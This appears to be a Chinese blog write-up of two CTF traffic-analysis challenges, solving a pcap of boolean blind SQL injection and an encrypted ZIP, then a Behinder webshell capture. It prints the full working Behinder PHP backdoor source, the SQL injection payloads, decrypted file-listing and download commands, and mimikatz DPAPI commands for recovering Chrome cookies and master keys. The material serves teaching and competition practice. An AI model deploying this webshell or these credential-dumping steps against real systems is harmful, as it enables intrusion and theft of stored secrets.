文章目录

  • 第一道忘了叫啥了
  • 第二道好像是叫黑客攻击啥的
    • 方法一:使用mimikatz
    • 方法二:利用Windows Password Recovery软件

第一道忘了叫啥了

题目链接:https://url.cn/5EvIRl6
提取码:i6ir

是初赛的Misc1题目,给了一个1.pcap文件。内容是黑客进行bool盲注的过程。

看一下HTTP,很容易看到一个readme.7z的压缩包,导出来,就一个readme.txt,没啥了。

然后可以注意到,盲注过程中响应内容的大小不是706bytes就是722bytes。(刚开始我还在想这尼玛会不会是二进制,对不起打扰了

706字节 - -

722字节 - -

比如说,攻击者刚开始爆数据库个数时:

?id=1' and ((select count(schema_name) from information_schema.schemata) > 0)#

一直到 >6都返回的是706字节,而>7时,返回了722字节,说明这时候相当于是报错了,也就是说个数应该是7。

突然发现盲注这块是我的盲点,,哭了

然后看到后面开始查询字段的时候,看到是有urlpasswd两个字段。

嗯所以需要根据回显内容把这两个字段给解出来,一位一位地慢慢解,,


解出来是这样的(然鹅我令人堪忧的数学把我带到了上一个字符去2333:

url:
116 46 99 110 47 65 105 56 80 104 113 83 98
t.cn/Ai8PhqSb
passwd:
98 107 105 115
bkis

这个短链接其实是个百度网盘 - -

flag.zip是加密的,内容有flag.txt和readme.txt。

那么这就很容易想到了明文攻击了(虽然比赛的时候我没想到,因为我当时做题已经做傻了,,

嗯然后AAPR明文跑密钥解密就完事儿了。flag{1d0ea6a36f6aaf7fa5d4b007454227d6}

当然也有师傅闲着没事儿跑了一个多小时把口令也跑出来了:CtF36o!s0


第二道好像是叫黑客攻击啥的

题目链接:https://url.cn/5JhQXkI
提取码:txnq

复赛的流量题。首先看到的是shell脚本:

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{$key=substr(md5(uniqid(rand())),16);$_SESSION['k']=$key;print $key;
}
else
{$key=$_SESSION['k'];$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __construct($p) {eval($p."");}}@new C($params);
}
?>

菜鸡的我没用过,搜了一下才知道,这是当下很流行的冰蝎,利用的是动态二进制加密。

项目地址:https://github.com/rebeyond/Behinder

上面那段代码的流程大致是:

当客户端以GET发起请求并设置了参数pass时,服务端会产生一个16位的随机密钥并写入Session。解密方式是,如果服务端不存在openssl,就用先base64解码,然后使用key进行循环异或加密;如果服务端能够加载openssl扩展,那就使用AES128解密。

然后看一下流量包,首先产生了两次密钥 - -


然后开始POST进行攻击 - -

然后就是需要解密一下攻击者POST的内容了。我先试了试使用key进行异或解密:

<?php{   $key = 'd59042be6e437849';$post = 'DzqZ3o6...内容太长此处省略';$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }print $post;}?>

但是解密后的内容乱乱的,所以应该不是。那就大概是AES了吧。然后去度娘上找了好几个网站,统统解不出来。我还用脚本试了试,也不行。
然后表哥给了一个网址,就能解出来了:http://tools.bugscaner.com/cryptoaes/

将解密后的内容再base64一下就能看到攻击者具体在干什么了:

@error_reporting(0);
function main($content)
{$result = array();$result["status"] = base64_encode("success");$result["msg"] = base64_encode($content);$key = $_SESSION['k'];echo encrypt(json_encode($result),$key);
}function encrypt($data,$key)
{if(!extension_loaded('openssl')){for($i=0;$i<strlen($data);$i++) {$data[$i] = $data[$i]^$key[$i+1&15]; }return $data;}else{return openssl_encrypt($data, "AES128", $key);}
}$content="f5dfe44a-0213-45db-a617-8db5e5a07ab3";
main($content);

把所有的攻击内容都解密出来看了一下(一共19次,罗列如下:

$content="f5dfe44a-0213-45db-a617-8db5e5a07ab3";
$mode="list";$path="C:/";
$mode="list";$path="C:/Users/";
$mode="list";$path="C:/Users/shadow/";
$mode="list";$path="C:/Users/shadow/Desktop/";
$mode="show";$path="C:/Users/shadow/Desktop/password.txt";$content="";
$mode="list";$path="C:/Users/shadow/AppData/";
$mode="list";$path="C:/Users/shadow/AppData/Local/";
$mode="list";$path="C:/Users/shadow/AppData/Local/Google/";
$mode="list";$path="C:/Users/shadow/AppData/Local/Google/Chrome/";
$mode="list";$path="C:/Users/shadow/AppData/Local/Google/Chrome/User Data/";
$mode="list";$path="C:/Users/shadow/AppData/Local/Google/Chrome/User Data/Default/";
$mode="download";$path="C:/Users/shadow/AppData/Local/Google/Chrome/User Data/Default/Cookies";
$mode="list";$path="C:/Users/shadow/AppData/";
$mode="list";$path="C:/Users/shadow/AppData/Roaming/";
$mode="list";$path="C:/Users/shadow/AppData/Roaming/Microsoft/";
$mode="list";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/";
$mode="list";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/";
$mode="download";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/6ecf76bd-1803-437e-92e6-28dd36c907aa";

攻击者下载了两个文件。第一个是谷歌浏览器的cookies,第二个是用户的Master Key file。

并且还查看了一下Desktop上的password.txt,内容解密后是p@ssw0rd。(把passwd放桌面可还行

所以题目的意思大概是要我们导出谷歌浏览器中保存的密码。这就涉及到了DPAPI(Data Protection API),是用来加密数据的接口,比如Chrome的Cookies。

DPAPI使用了Master Key这个东西来加解密。而Master Key是通过用户的密码HASH来加密生成的。那Masterkey怎么得到呢,通过Masterkey File即可,也就是上面第二次下载的文件。

C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>
<SID>是用户的安全描述符,<GUID>是Master Key的名字。

目前解题的话,我只想到了两个解题方法。

方法一:使用mimikatz

参考网址:https://ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#protecting-and-unprotecting-data

目前已知用户登录密码password,用户SID,GUID,那就可以解出MasterKey了:

dpapi::masterkey /in:"C:\Users\65725\Downloads\ok\6ecf76bd-1803-437e-92e6-28dd36c907aa" /sid:S-1-5-21-2127750816-4215895028-2373289296-1001 /password:p@ssw0rd /protected


得到MasterKey为:

dc273990f4a61dde19f7708be532a9ed08e9e0d21581fb29c6d3ddcfbccad5a4dfe09b9fdfe54c78841dead69035c89f3ab577522b58b9d7c5740fcdb8095c1a

注意:如果敲入命令回车之后mimikatz直接退出了,那就说明master key file文件有问题,具体啥问题方法二写了。

再利用其解密Chrome数据:

dpapi::chrome /in:"C:\Users\65725\Downloads\ok\Cookies" /unprotect /masterkey:dc273990f4a61dde19f7708be532a9ed08e9e0d21581fb29c6d3ddcfbccad5a4dfe09b9fdfe54c78841dead69035c89f3ab577522b58b9d7c5740fcdb8095c1a

得到的这个cookie值就是flag - -


方法二:利用Windows Password Recovery软件

参考链接:https://zhuanlan.zhihu.com/p/33634735

先用SQLite看一下导出的Cookies - -


看到了encrypted_value的类型是Blob - -

也就是说DPAPI blob位于数据库文件的encrypted_value段,先将其保存出来:

from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("Cookies")
cursor = conn.cursor()
cursor.execute('SELECT encrypted_value FROM cookies')
for result in cursor.fetchall():print (binascii.b2a_hex(result[0]))f = open('blob.txt', 'wb')f.write(result[0])f.close()

然后,使用Windows Password Recovery这个软件进行解密。选择Utils->DPAPI Decoder and Analyser->Decrypt DPAPI data blob

blob file选择刚才导出的blob.txt - -

然后选择好Master Key file - -

填好User SID和用户登录密码 - -

然后恢复出密码 - -

注意:使用Windows Password Recovery解密Master Key File的时候,如果出现打不开这种情况 - -

那一定是从Wireshark导出的时候,删除前面数据的时候删多了,比如像这样 - -

这当然打不开,开头必须是02 00 (因为我一开始也删多了然后拿它和本机系统的文件比对了一下- -


题目有一点点难,需要查阅的资料有一点点多
自己有很多点菜
Over

3CTF的两道流量分析题相关推荐

  1. 2021年云南省职工职业技能大赛CTF流量分析题(wireshark)WriteUp

    2021年云南省职工职业技能大赛CTF流量分析题(wireshark)WriteUp .0x00 前言 本人作为业余爱好者参加了2021年云南省职工职业技能大赛的网络安全比赛,比赛形式以CTF+理论考 ...

  2. CTF misc之流量分析题套路总结

    1.前言 昨天去I春秋刷了几题流量分析题,然后总结了一下流量分析题的做题方法. 2.刷题 2.1 可恶的黑客 步骤一.HTTP追踪流先了解进行什么操作 可以看到是传了webshell然后进行文件操作 ...

  3. ctf php 流量分析题,GKCTF EZWEB的分析题解和思考

    GKCTF EZ三剑客-EzWeb 看到这个题前端和我自己出的一个题实在是很像,同样是输入一个url,先看题目长啥样吧. 嗯,啥也没有,输入url基本没反应,F12给的提示是?secret,输入后发现 ...

  4. 工控流量分析题+wireshark学习

    写在前面 暑假报名了工控比赛 所以要找些工控的题目来刷刷 正好比赛方提供的靶场有很多类似的题目 开始痛苦的学习过程... Wireshark Capture filter <Protocol n ...

  5. 华为外包l两道面试算法题。

    今日下午刚结束面试.一共两技术人员面的,一人出了一道算法题,记录下,并为以后做些准备,由于远程面试,所以没有代码测试,不知道行不行的通,且行且看吧. 1.输入为String 字母卡片(可以重复)和一个 ...

  6. ctf php 流量分析题,CTF平台hackit题目分析与解答

    之前在网上经常看到很多的CTF的练习平台,在加上搞CTF比赛的学弟推荐了这个 CTF平台 .当时在网上看了一下,这个平台推荐的人还是很多的.这个平台是由一个白帽子个人开发的一个平台.趁着这个平台还没有 ...

  7. 两道小学生的题----1000: 梦里的难题、1002: 拳皇

    黑色的飞鸟掠过天空,我站在城中,看时间燃成灰烬,哗哗作响...... 题目描述 生化危机血腥暴力的场面对小星星的冲击很大,晚上频繁地做起了梦,梦里他担负起拯救世人消灭僵尸的重任,眼看就能拿到消除 T ...

  8. 记一道USB流量分析题

    本文内容全部来自于下面两个博客: USB-HID的初步认识 从CTF中学USB流量捕获与解析 USB协议的数据部分在Leftover Capture Data域之中,在Mac和Linux下可以用tsh ...

  9. 一道ctf流量分析题

    此ctf用到wireshark软件,Wireshark可以帮助解决一些问题比如:丢包.延迟.DDoS攻击.它可以将网络流量展现,并可以通过软件内部的工具对流量进行分析,从而找出问题所在,并解决问题. ...

最新文章

  1. 如何用Python批量修改文件名?
  2. android 获取url中的参数,验证邮箱格式,截取字符串中键值对的值,String的字节长度,去空格,替换字符
  3. JdbcTemplate(操作数据库-查询返回值)
  4. 谷歌浏览器32位安装包_谷歌浏览器发布紧急安全更新修复Blink内核中的任意代码执行漏洞...
  5. Android之使用Intent跳转到一个网页
  6. 【Mac】Mac键盘实现Home, End, Page UP, Page DOWN
  7. 高通平台音频调试常见问题点归纳
  8. php ueditor怎么用,ueditor PHP版本使用方法
  9. C# JPG转PDF
  10. 社区保密计算机使用制度,社区保密工作制度.doc
  11. dbv连oracle,oracle工具:DBV的用法
  12. 高德地图——输入经纬度查找
  13. Python Computer Vision Programming学习笔记(二)——基本的图像操作与处理
  14. 机器学习如何优化策略游戏
  15. 翡润年华教你肉眼鉴别翡翠ABC
  16. html5超萌哈士奇,哈士奇,是一种让人又爱又恨,又拥有自己独特风格的雪橇犬...
  17. VBA-关闭屏幕刷新
  18. 大数据组件笔记 -- ZooKeeper
  19. cocos2dx-9.键盘事件-实现精灵的连续移动
  20. 经典逻辑题:猜牌问题——网上的结论是没问题的

热门文章

  1. 批量制作模糊效果视频号短视频
  2. 技术女性职业规划及其它
  3. 计算机视觉————(CV)图像基础以及数字图像处理基础
  4. 记一次drools比较隐晦的问题
  5. java基于SSM的网上演唱会票务系统
  6. p22 021 lambda表达式
  7. 一文搞懂JDK8与Java1.8的区别
  8. IDEA maven变更后导致自动重置LanguageLevel和JavaCompiler版本的问题
  9. 微信小程序源码丢失了如何找回微信小程序源码?
  10. 天玑820和骁龙765哪个好?